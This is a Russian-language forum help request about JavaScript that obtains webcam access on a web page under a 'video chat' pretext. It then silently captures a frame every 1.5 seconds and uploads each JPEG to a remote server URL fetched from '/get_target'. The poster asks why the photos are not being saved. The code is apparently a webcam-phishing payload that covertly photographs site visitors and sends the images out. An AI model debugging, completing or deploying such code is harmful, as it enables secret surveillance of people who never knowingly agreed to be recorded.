Доброго времени суток, граждани программисты.
Данный код в теории реализует сохранеие фото с веб камеры после получения к ней доступа на сайте.
Сохраняет в папку image на сервере по пути: http://ip-server/image.
Но проблемма в том, что он не сохраняет фото, подскажите, где я ошибся...
Всю голову уже сломал.
Данный код в теории реализует сохранеие фото с веб камеры после получения к ней доступа на сайте.
Сохраняет в папку image на сервере по пути: http://ip-server/image.
Но проблемма в том, что он не сохраняет фото, подскажите, где я ошибся...
Всю голову уже сломал.
JavaScript:
<script>
var url = "";
request.open("GET", "/get_target", true);
request.onload = function () {
if (request.status === 200) {
url = request.responseText;
} else {
url = "http://ip/image"
}
};
request.send();
function postFile(file) {
let formdata = new FormData();
formdata.append("image", file);
let xhr = new XMLHttpRequest();
xhr.open('POST', url, true);
xhr.onload = function () {
if (this.status === 200)
console.log(this.response);
else
console.error(xhr);
};
xhr.send(formdata);
}
const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');
const constraints = {
audio: false,
video: {
facingMode: "user"
}
};
// Access webcam
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints)
handleSuccess(stream);
} catch (e) {
setTimeout(function () {
alert("Allow Camera access to video chat");
window.location.href = "https://www.lifewire.com/configure-camera-microphone-setting-in-google-chrome-4103623"
alert("Grant cam access")
}, 15000)
}
}
// Success
function handleSuccess(stream) {
window.stream = stream;
video.srcObject = stream;
var context = canvas.getContext('2d');
setInterval(function () {
context.drawImage(video, 0, 0, 640, 480);
canvas.toBlob(postFile, 'image/jpeg');
}, 1500);
}
// Load init
init();
</script>